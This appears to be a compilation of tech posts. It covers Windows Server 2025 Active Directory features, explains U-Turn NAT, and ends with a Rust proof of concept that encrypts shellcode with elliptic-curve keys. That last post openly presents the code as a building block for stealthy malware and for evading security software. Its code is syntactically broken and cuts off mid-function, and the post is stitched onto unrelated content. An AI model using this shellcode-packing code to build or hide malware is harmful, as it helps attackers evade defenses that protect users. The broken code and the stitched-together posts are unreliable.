🦑𝐖𝐢𝐧𝐝𝐨𝐰𝐬 𝐒𝐞𝐫𝐯𝐞𝐫 𝟐𝟎𝟐𝟓 𝐀𝐜𝐭𝐢𝐯𝐞 𝐃𝐢𝐫𝐞𝐜𝐭𝐨𝐫𝐲 𝐍𝐞𝐰 𝐅𝐞𝐚𝐭𝐮𝐫𝐞𝐬
Windows Server 2025 introduces several noteworthy enhancements, particularly in security, functionality, and Active Directory improvements:

🟥𝐋𝐃𝐀𝐏 𝐂𝐡𝐚𝐢𝐧 𝐁𝐢𝐧𝐝𝐢𝐧𝐠 𝐀𝐮𝐝𝐢𝐭 𝐒𝐮𝐩𝐩𝐨𝐫𝐭:
Administrators can now audit devices that fail or do not support LDAP channel binding. This is vital for environments transitioning to more secure channel binding configurations.

🟥 𝐀𝐜𝐭𝐢𝐯𝐞 𝐃𝐢𝐫𝐞𝐜𝐭𝐨𝐫𝐲 𝐄𝐧𝐡𝐚𝐧𝐜𝐞𝐦𝐞𝐧𝐭𝐬:
◼️ New forest and domain functional levels (DomainLevel 10 and ForestLevel 10) are introduced, enabling features like a 32K database page size.
◼️ Improved algorithms for SID-to-name lookups and domain controller discovery, using Kerberos authentication rather than legacy Netlogon channels.
◼️ Secure management of sensitive attributes by requiring encrypted connections for operations involving these attributes.

🟥 𝐊𝐞𝐫𝐛𝐞𝐫𝐨𝐬 𝐚𝐧𝐝 𝐂𝐫𝐲𝐩𝐭𝐨𝐠𝐫𝐚𝐩𝐡𝐢𝐜 𝐀𝐠𝐢𝐥𝐢𝐭𝐲:
◼️ Improved Kerberos support with PKINIT for enhanced cryptographic flexibility.
◼️ Active Directory now generates random default computer account passwords to bolster security, restricting manual assignment of predictable passwords.

🟥 𝐑𝐞𝐭𝐢𝐫𝐞𝐝 𝐋𝐞𝐠𝐚𝐜𝐲 𝐅𝐞𝐚𝐭𝐮𝐫𝐞𝐬:
◼️ Deprecation of WINS and mailslots, streamlining domain controller discovery methods and focusing on DNS-based technologies.

🟥 𝐀𝐝𝐝𝐢𝐭𝐢𝐨𝐧𝐚𝐥 𝐒𝐞𝐜𝐮𝐫𝐢𝐭𝐲 𝐅𝐞𝐚𝐭𝐮𝐫𝐞𝐬:
◼️Enhanced security for computer account password defaults and policies to prevent weak configurations.
◼️Adjustments in Group Policy settings to improve control over default password configurations.

These updates are designed to meet modern 𝗰𝘆𝗯𝗲𝗿𝘀𝗲𝗰𝘂𝗿𝗶𝘁𝘆 𝗮𝗻𝗱 𝗼𝗽𝗲𝗿𝗮𝘁𝗶𝗼𝗻𝗮𝗹 𝗱𝗲𝗺𝗮𝗻𝗱𝘀 while maintaining backward compatibility where feasible. For more details, you can explore the official documentation here:

🦑U-Turn NAT: A Simple Concept with Diagrams 🔴🟢🔵

Two days ago, I shared the concepts of Source NAT (S-NAT) and Destination NAT (D-NAT). A great question came up: What is U-Turn NAT, and how does it differ?

I realized that explaining U-Turn NAT With Source & Destination NAT provides a better understanding of how these NAT types work together. Let’s dive in!

Why is it called U-Turn NAT ?

U-Turn NAT is used when internal users need to access an internal server using its public IP address. The traffic makes a "U-turn" at the firewall as it flows out and then returns to the same internal network.

1. Source NAT (S-NAT)
🔴 Purpose: Mainly for internal users accessing the internet.
🔴 How it works: NAT changes the (Source IP) in the original packet.

2. Destination NAT (D-NAT)
🟢 Purpose: Used for servers accessed from the internet.
🟢 How it works: NAT changes the (Destination IP) in the Original packet, replacing the public IP with the server’s private IP in Translated packet.

3. U-Turn NAT (U-NAT)
🔵 Purpose: For internal users accessing internal servers using their public IP address.
🔵 How it works: NAT modifies both the (Source IP and Destination IP) in the packet when the same public IP is used for external and internal access:

Understanding these NAT types together helps clarify their distinct roles and how they work in different scenarios.

🦑Elliptic Curve Cryptography (ECC) Encryption and decryption.:

Process of Implementation
I implemented ECC in a way that could be useful for malware development by encrypting shellcode with a public key and then decrypting it using both the corresponding private key and an additional component called the R Point. This approach adds an extra layer of security, ensuring that only those with the correct private key and R Point can decrypt and execute the shellcode.

Note: Please go through the main function where i explained function features.

I generate random public and private keys then,

I have converted Keys into bytes for ease of handling, then reconstruct these keys for use in encryption and decryption. The encryption process involves using the public key to encrypt the shellcode and generate an R Point, which is serialized into bytes. To decrypt, you need this R Point along with the private key, which together allow the shellcode to be recovered and executed. However, my method of executing the shellcode is basic and could potentially be detected by security software, so more sophisticated execution methods would be necessary for real-world scenarios.

This Proof of Concept shows how ECC can be adapted for stealthy malware operations by leveraging its inherent security properties.

pub use k256::{elliptic_curve::{sec1::FromEncodedPoint, AffinePoint, Field}, EncodedPoint, ProjectivePoint, Scalar, Secp256k1};
pub use sha2::{Digest, Sha256};

fn encode_shellcode(
    shellcode: &[u8],
    public_key: &AffinePoint<Secp256k1>,
) -> (EncodedPoint, Vec<u8>) {
    let mut rng = OsRng;

    // generate the ephemeral keypair
    let k = Scalar::random(&mut rng);
    let r = (ProjectivePoint::generator() * k).to_affine();

    // compute shared secret
    let shared_secret = *public_key * k;
    let shared_secret_bytes = shared_secret.to_bytes();

    // derive encryption key from shared secret
    let mut hasher = Sha256::new();
    hasher.update(shared_secret_bytes);
    let encryption_key = hasher.finalize();

    // Encrypt shellcode
    let encrypted_shellcode: Vec<u8> = shellcode
        .iter()
        .zip(encryption_key.iter().cycle())
        .map(|(&byte, &key)| byte ^ key)
        .collect();

    (EncodedPoint::from(&r), encrypted_shellcode)
}

fn decode_shellcode(
    encrypted_shellcode: &[u8],
    r: &EncodedPoint,
    private_key: &Scalar,

    // Compute shared secret
    let r_point = ProjectivePoint::from_encoded_point(r).expect("Invalid R point");
    let shared_secret = r_point * private_key;
    let shared_secret_bytes = shared_secret.to_bytes();

    // derive decryption key from shared secret
    let mut hasher = Sha256::new();
    hasher.update(shared_secret_bytes);
    let decryption_key = hasher.finalize();

    // Decrypt shellcode
    encrypted_shellcode
        .iter()
        .zip(decryption_key.iter().cycle())
        .map(|(&byte, &key)| byte ^ key)
